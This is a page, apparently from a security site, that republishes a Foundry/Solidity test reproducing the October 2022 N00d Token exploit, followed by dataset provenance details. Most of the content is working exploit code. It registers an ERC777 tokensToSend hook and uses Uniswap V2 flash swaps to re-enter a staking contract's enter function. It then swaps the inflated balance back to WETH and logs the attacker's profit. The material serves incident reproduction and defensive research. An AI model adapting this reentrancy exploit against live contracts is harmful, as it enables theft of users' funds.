Skip to content
THREATWIRE

Public reproduction file

src/test/2022-10/N00d_exp.sol

Public reproduction file for dataset entry N00d Token.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-10/N00d_exp.sol93 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity 0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// Analysis
8// https://twitter.com/BlockSecTeam/status/1584959295829180416
9// https://twitter.com/AnciliaInc/status/1584955717877784576
10// TX
11// https://etherscan.io/tx/0x8037b3dc0bf9d5d396c10506824096afb8125ea96ada011d35faa89fa3893aea
13interface sushiBar {
14 function enter(
15 uint256
16 ) external;
17 function leave(
18 uint256
19 ) external;
22contract ContractTest is Test {
23 IERC777 n00d = IERC777(0x2321537fd8EF4644BacDCEec54E5F35bf44311fA);
24 Uni_Pair_V2 Pair = Uni_Pair_V2(0x5476DB8B72337d44A6724277083b1a927c82a389);
25 IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
26 IERC20 Xn00d = IERC20(0x3561081260186E69369E6C32F280836554292E08);
27 sushiBar Bar = sushiBar(0x3561081260186E69369E6C32F280836554292E08);
28 ERC1820Registry registry = ERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
29 uint256 i;
30 uint256 enterAmount = 0;
31 uint256 n00dReserve;
33 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
35 function setUp() public {
36 cheats.createSelectFork("mainnet", 15_826_379);
37 }
39 function testExploit() public {
40 registry.setInterfaceImplementer(
41 address(this), bytes32(0x29ddb589b1fb5fc7cf394961c1adf5f8c6454761adf795e67fe149f658abe895), address(this)
42 );
43 n00d.approve(address(Bar), type(uint256).max);
44 // The swap is performed 4 times.
45 int256 j;
46 for (j = 1; j < 5; j++) {
47 (n00dReserve,,) = Pair.getReserves();
48 Pair.swap(n00dReserve - 1e18, 0, address(this), new bytes(1));
49 }
50 // Now all funds can be swapped back to WETH.
51 (n00dReserve,,) = Pair.getReserves();
52 Pair.swap(n00dReserve - 1e18, 0, address(this), new bytes(1));
53 uint256 amountIn = n00d.balanceOf(address(this));
54 (uint256 n00dR, uint256 WETHR,) = Pair.getReserves();
55 uint256 amountOut = amountIn * 997 * WETHR / (amountIn * 997 + n00dR * 1000);
56 n00d.transfer(address(Pair), amountIn);
57 Pair.swap(0, amountOut, address(this), "");
59 emit log_named_decimal_uint("Attacker WETH profit after exploit", WETH.balanceOf(address(this)), 18);
60 }
62 function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {
63 // Resetting count to 0 so we perform re-entry twice each time we swap/loan.
64 i = 0;
65 enterAmount = n00d.balanceOf(address(this)) / 5;
66 Bar.enter(enterAmount);
67 Bar.leave(Xn00d.balanceOf(address(this)));
68 n00d.transfer(address(Pair), n00dReserve * 1000 / 997 + 1000);
69 }
71 function tokensToSend(
72 address operator,
73 address from,
74 address to,
75 uint256 amount,
76 bytes calldata userData,
77 bytes calldata operatorData
78 ) external {
79 if (to == address(Bar) && i < 2) {
80 i++;
81 Bar.enter(enterAmount);
82 }
83 }
85 function tokensReceived(
86 address operator,
87 address from,
88 address to,
89 uint256 amount,
90 bytes calldata userData,
91 bytes calldata operatorData
92 ) external {}

Analysis

Dataset entry

Public Foundry test for “N00d Token” (2022-10-26). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

23 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

File record

Name
N00d Token
Path
src/test/2022-10/N00d_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
9c46b0d472b216989b83f3363b927d00dc26183d
Language
Solidity
Size
94 lines
Date
2022-10-26
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2022-10/N00d_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 9c46b0d472b216989b83f3363b927d00dc26183d, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.